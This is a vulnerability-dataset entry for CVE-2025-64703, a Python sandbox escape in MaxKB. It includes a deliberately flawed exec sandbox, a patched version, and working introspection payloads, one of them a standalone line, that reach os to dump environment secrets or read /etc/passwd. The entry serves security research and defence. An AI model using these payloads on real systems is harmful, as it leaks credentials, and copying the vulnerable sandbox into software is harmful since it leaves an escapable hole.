CVE-2025-64703
MaxKB < 2.3.1: Python sandbox escape in tool module leaks sensitive info.
- CVSS 6.5
- CWE-200
- Input Validation and Sanitization
- Remote
MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can get sensitive informations by Python code in tool module, although the process run in sandbox. Version 2.3.1 fixes the issue.
- CWE
- CWE-200
- CVSS base score
- 6.5
- Published
- 2025-11-13
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- MaxKB
- Fixed by upgrading
- Yes
Solution
Upgrade to MaxKB version 2.3.1 or later.
Vulnerable code sample
import os
# In a real application, this would be set by the server's environment
# and would not be visible in the code executed by the tool.
os.environ['DATABASE_URL'] = 'postgres://user:supersecretpassword@db.internal:5432/production'
os.environ['API_KEY'] = 'ak_prod_abcdef1234567890'
def execute_in_sandbox(code_string: str):
"""
Simulates the vulnerable tool execution environment in MaxKB prior to v2.3.1.
It attempts to create a sandbox by restricting the globals available to the
exec function. However, this sandbox is escapable.
"""
print(f"--- Executing user code in 'sandbox' ---\n")
# A flawed sandbox that tries to restrict access by providing a limited
# set of global functions. Dangerous modules like 'os' or 'sys' are not provided.
# The vulnerability lies in the fact that Python's object introspection can be
# used to regain access to these modules.
restricted_globals = {
'__builtins__': {
'print': print,
'range': range,
'len': len,
'str': str,
'int': int,
# Critical functions like 'open', 'eval', 'exec', '__import__' are missing.
}
}
try:
# The 'exec' function is used to run user-provided Python code.
exec(code_string, restricted_globals, {})
except Exception as e:
print(f"An error occurred: {e}")
print("\n--- Execution finished ---")
if __name__ == '__main__':
# This represents the malicious code a user would input into the tool module.
# The code does not directly use 'import os', which might be blocked.
# Instead, it walks the object hierarchy to find a class that has access to
# the original '__builtins__' and the '__import__' function. From there, it
# can import any module, such as 'os', and access sensitive information.
malicious_code_to_get_sensitive_info = """
# Payload to escape the sandbox and access environment variables.
# 1. Start with an empty tuple `()` to get a basic object.
# 2. Access its class, then its base class (which is 'object').
# 3. Get all loaded subclasses of 'object'.
# 4. Find a suitable class to hijack. `warnings.catch_warnings` is a common choice.
# 5. From the hijacked class, access its module's global `__builtins__`.
# 6. Use the `__import__` function from those builtins to import the `os` module.
# 7. Now with the `os` module, read and print the environment variables.
try:
subclasses = ().__class__.__base__.__subclasses__()
warnings_class = [cls for cls in subclasses if cls.__name__ == 'catch_warnings'][0]
# Navigate through the object to find the original __builtins__
importer = warnings_class()._module.__builtins__['__import__']
# Use the retrieved importer to get the 'os' module
os_module = importer('os')
# Access and print the sensitive environment variables
print("Successfully escaped sandbox. Leaking environment variables:")
for key, value in os_module.environ.items():
if 'API_KEY' in key or 'DATABASE_URL' in key:
print(f"Found sensitive var: {key}={value}")
except Exception as e:
print(f"Payload failed: {e}")
"""
print("Demonstrating CVE-2025-64703 (Pre-Patch State)")
print("An attacker provides Python code to the tool module to extract sensitive data.")
print("="*60)
# The vulnerable function is called with the malicious payload.
execute_in_sandbox(malicious_code_to_get_sensitive_info)Patched code sample
import os
from restricted import compile_restricted
from restricted.globals import safe_builtins, safe_globals
from restricted.utility import limited_builtins
# This represents a sensitive value that could exist in the application's environment.
# In a vulnerable implementation, a user could access this.
os.environ["MAXKB_SENSITIVE_CONFIG"] = "db_user:password@host:port/database"
def execute_sandboxed_python_tool(user_code: str):
"""
Executes user-provided Python code in a secure sandbox.
This function represents the fix for CVE-2025-64703, where a naive
sandbox could be bypassed. This implementation uses 'restrictedpython'
to prevent access to sensitive modules, built-ins, and object attributes
that could lead to information disclosure.
"""
# Define a highly restricted environment for the user code.
# We explicitly disallow access to potentially dangerous built-ins like
# 'open', 'eval', 'exec', and '__import__'.
# Access to object internals like `__class__`, `__globals__` is also prohibited.
restricted_builtins = limited_builtins.copy()
# We can add custom, safe functions for the tool to use.
# For example, a function to perform a safe, specific action.
def safe_api_call(param: str) -> str:
# This function is safe because it controls what can be done.
return f"Called a safe API with parameter: {param}"
allowed_globals = {
'__builtins__': restricted_builtins,
'_print_': print, # Provides a safe way to print output.
'safe_api_call': safe_api_call
}
try:
# Compile the user code in restricted mode. This will raise a
# SyntaxError if the code uses disallowed constructs like `import`.
byte_code = compile_restricted(
user_code,
filename='<user_tool_code>',
mode='exec'
)
# Execute the compiled bytecode within the restricted environment.
# The 'None' argument for locals ensures it uses a new, empty dictionary.
exec(byte_code, allowed_globals, None)
except Exception as e:
# Any error during compilation or execution is caught, preventing
# the exploit from succeeding and informing the user of the failure.
print(f"[SANDBOX] Execution blocked or failed: {type(e).__name__}: {e}")
if __name__ == '__main__':
# --- DEMONSTRATION OF THE FIX ---
# The following examples show how the fixed function blocks malicious attempts.
print("--- 1. Attempting to import 'os' to read environment variables ---")
malicious_code_import = "import os\nprint(os.environ.get('MAXKB_SENSITIVE_CONFIG'))"
execute_sandboxed_python_tool(malicious_code_import)
# EXPECTED: A SyntaxError because `import` is not allowed.
print("\n--- 2. Attempting sandbox escape via object introspection ---")
malicious_code_introspect = """
# This payload tries to walk the object hierarchy to find the 'os' module.
for sc in ().__class__.__bases__[0].__subclasses__():
if sc.__name__ == '_wrap_close':
try:
os_module = sc.__init__.__globals__['os']
_print_("Leaked env vars:", os_module.environ)
break
except:
continue
"""
execute_sandboxed_python_tool(malicious_code_introspect)
# EXPECTED: An error because access to `__class__` or other `__` attributes is blocked.
print("\n--- 3. Attempting to use a disallowed builtin ('open') ---")
malicious_code_open = "f = open('/etc/passwd', 'r')\n_print_(f.read())"
execute_sandboxed_python_tool(malicious_code_open)
# EXPECTED: A NameError because `open` is not in the allowed builtins.
print("\n--- 4. Running a legitimate, safe payload ---")
safe_code = """
a = 10
b = 21
result = (a + b) * 2
_print_(f'The safe result is: {result}')
output = safe_api_call('test_parameter')
_print_(output)
"""
execute_sandboxed_python_tool(safe_code)
# EXPECTED: The code runs successfully and prints the correct result.Payload
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('env').read()
Cite this entry
@misc{vaitp:cve202564703,
title = {{MaxKB < 2.3.1: Python sandbox escape in tool module leaks sensitive info.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-64703},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-64703/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
